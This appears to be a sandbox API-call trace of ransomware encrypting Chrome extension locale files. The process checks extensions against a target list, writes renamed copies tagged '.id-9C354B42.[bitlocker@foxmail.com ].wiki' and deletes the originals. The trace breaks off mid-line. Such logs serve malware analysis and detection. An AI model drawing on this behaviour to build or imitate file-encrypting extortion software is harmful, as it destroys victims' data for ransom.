lstrlenW (lpString=".doc") returned 4 [0179.656] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0179.656] lstrlenW (lpString=".docx") returned 5 [0179.656] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0179.656] lstrlenW (lpString=".pdf") returned 4 [0179.656] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0179.657] lstrlenW (lpString=".xls") returned 4 [0179.657] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0179.657] lstrlenW (lpString=".xlsx") returned 5 [0179.657] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0179.657] lstrlenW (lpString=".ppt") returned 4 [0179.657] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0179.657] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json") returned 151 [0179.657] lstrlenW (lpString=".zip") returned 4 [0179.657] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0179.657] lstrlenW (lpString=".rar") returned 4 [0179.657] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0179.657] lstrlenW (lpString=".bz2") returned 4 [0179.657] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0179.657] lstrlenW (lpString=".7z") returned 3 [0179.657] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0179.657] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json") returned 151 [0179.657] lstrlenW (lpString=".dbf") returned 4 [0179.657] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0179.657] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json") returned 151 [0179.657] lstrlenW (lpString=".1cd") returned 4 [0179.657] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0179.657] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json") returned 151 [0179.657] lstrlenW (lpString=".jpg") returned 4 [0179.657] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0179.657] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0179.657] lstrlenW (lpString="messages.json") returned 13 [0179.657] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0179.658] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=292) returned 1 [0179.658] CloseHandle (hObject=0x334) returned 1 [0179.658] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json")) returned 0x2020 [0179.658] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0179.658] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0179.658] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.658] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.658] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0179.659] GetLastError () returned 0x0 [0179.659] ReadFile (in: hFile=0x334, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x124, lpOverlapped=0x0) returned 1 [0179.660] WriteFile (in: hFile=0x160, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0x130, lpOverlapped=0x0) returned 1 [0179.661] ReadFile (in: hFile=0x334, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0179.661] WriteFile (in: hFile=0x160, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0179.661] SetEndOfFile (hFile=0x160) returned 1 [0179.661] CloseHandle (hObject=0x160) returned 1 [0179.661] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.661] SetEndOfFile (hFile=0x334) returned 1 [0179.662] CloseHandle (hObject=0x334) returned 1 [0179.662] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0179.662] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json")) returned 1 [0179.663] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json") returned 151 [0179.663] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json") returned 151 [0179.663] lstrlenW (lpString=".doc") returned 4 [0179.663] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0179.663] lstrlenW (lpString=".docx") returned 5 [0179.663] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0179.663] lstrlenW (lpString=".pdf") returned 4 [0179.663] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0179.663] lstrlenW (lpString=".xls") returned 4 [0179.663] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0179.663] lstrlenW (lpString=".xlsx") returned 5 [0179.663] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0179.663] lstrlenW (lpString=".ppt") returned 4 [0179.663] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0179.663] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json") returned 151 [0179.663] lstrlenW (lpString=".zip") returned 4 [0179.663] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0179.663] lstrlenW (lpString=".rar") returned 4 [0179.663] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0179.663] lstrlenW (lpString=".bz2") returned 4 [0179.663] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0179.663] lstrlenW (lpString=".7z") returned 3 [0179.663] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0179.663] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json") returned 151 [0179.663] lstrlenW (lpString=".dbf") returned 4 [0179.663] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0179.663] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json") returned 151 [0179.663] lstrlenW (lpString=".1cd") returned 4 [0179.663] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0179.663] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json") returned 151 [0179.664] lstrlenW (lpString=".jpg") returned 4 [0179.664] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0179.664] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json") returned 151 [0179.664] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json") returned 151 [0179.664] lstrlenW (lpString=".doc") returned 4 [0179.664] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0179.664] lstrlenW (lpString=".docx") returned 5 [0179.664] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0179.664] lstrlenW (lpString=".pdf") returned 4 [0179.664] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0179.664] lstrlenW (lpString=".xls") returned 4 [0179.664] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0179.664] lstrlenW (lpString=".xlsx") returned 5 [0179.664] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0179.664] lstrlenW (lpString=".ppt") returned 4 [0179.664] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0179.664] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json") returned 151 [0179.664] lstrlenW (lpString=".zip") returned 4 [0179.664] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0179.664] lstrlenW (lpString=".rar") returned 4 [0179.664] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0179.664] lstrlenW (lpString=".bz2") returned 4 [0179.664] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0179.664] lstrlenW (lpString=".7z") returned 3 [0179.664] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0179.664] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json") returned 151 [0179.664] lstrlenW (lpString=".dbf") returned 4 [0179.664] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0179.664] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json") returned 151 [0179.664] lstrlenW (lpString=".1cd") returned 4 [0179.665] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0179.665] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json") returned 151 [0179.665] lstrlenW (lpString=".jpg") returned 4 [0179.665] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0179.665] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0179.665] lstrlenW (lpString="messages.json") returned 13 [0179.665] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0179.671] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=254) returned 1 [0179.671] CloseHandle (hObject=0x1ac) returned 1 [0179.671] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json")) returned 0x2020 [0179.671] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0179.671] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0179.671] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.671] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.671] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0179.672] GetLastError () returned 0x0 [0179.672] ReadFile (in: hFile=0x1ac, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xfe, lpOverlapped=0x0) returned 1 [0179.673] WriteFile (in: hFile=0x1a0, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0x100, lpOverlapped=0x0) returned 1 [0179.674] ReadFile (in: hFile=0x1ac, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0179.674] WriteFile (in: hFile=0x1a0, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0179.674] SetEndOfFile (hFile=0x1a0) returned 1 [0179.674] CloseHandle (hObject=0x1a0) returned 1 [0179.674] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.674] SetEndOfFile (hFile=0x1ac) returned 1 [0179.675] CloseHandle (hObject=0x1ac) returned 1 [0179.675] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0179.675] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json")) returned 1 [0179.675] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json") returned 151 [0179.675] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json") returned 151 [0179.675] lstrlenW (lpString=".doc") returned 4 [0179.675] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0179.675] lstrlenW (lpString=".docx") returned 5 [0179.675] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0179.675] lstrlenW (lpString=".pdf") returned 4 [0179.675] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0179.676] lstrlenW (lpString=".xls") returned 4 [0179.676] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0179.676] lstrlenW (lpString=".xlsx") returned 5 [0179.676] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0179.676] lstrlenW (lpString=".ppt") returned 4 [0179.676] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0179.676] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json") returned 151 [0179.676] lstrlenW (lpString=".zip") returned 4 [0179.676] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0179.676] lstrlenW (lpString=".rar") returned 4 [0179.676] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0179.676] lstrlenW (lpString=".bz2") returned 4 [0179.676] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0179.676] lstrlenW (lpString=".7z") returned 3 [0179.676] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0179.676] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json") returned 151 [0179.676] lstrlenW (lpString=".dbf") returned 4 [0179.676] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0179.676] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json") returned 151 [0179.676] lstrlenW (lpString=".1cd") returned 4 [0179.676] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0179.676] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json") returned 151 [0179.676] lstrlenW (lpString=".jpg") returned 4 [0179.676] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0179.676] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json") returned 151 [0179.894] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json") returned 151 [0179.894] lstrlenW (lpString=".doc") returned 4 [0179.894] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0179.894] lstrlenW (lpString=".docx") returned 5 [0179.894] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0179.894] lstrlenW (lpString=".pdf") returned 4 [0179.894] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0179.894] lstrlenW (lpString=".xls") returned 4 [0179.894] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0179.894] lstrlenW (lpString=".xlsx") returned 5 [0179.894] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0179.894] lstrlenW (lpString=".ppt") returned 4 [0179.894] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0179.894] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json") returned 151 [0179.894] lstrlenW (lpString=".zip") returned 4 [0179.894] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0179.894] lstrlenW (lpString=".rar") returned 4 [0179.894] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0179.894] lstrlenW (lpString=".bz2") returned 4 [0179.894] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0179.894] lstrlenW (lpString=".7z") returned 3 [0179.894] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0179.894] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json") returned 151 [0179.894] lstrlenW (lpString=".dbf") returned 4 [0179.894] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0179.894] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json") returned 151 [0179.894] lstrlenW (lpString=".1cd") returned 4 [0179.894] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0179.894] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json") returned 151 [0179.895] lstrlenW (lpString=".jpg") returned 4 [0179.895] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0179.895] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0179.895] lstrlenW (lpString="messages.json") returned 13 [0179.895] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0180.065] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=234) returned 1 [0180.065] CloseHandle (hObject=0x320) returned 1 [0180.066] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json")) returned 0x2020 [0180.066] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user 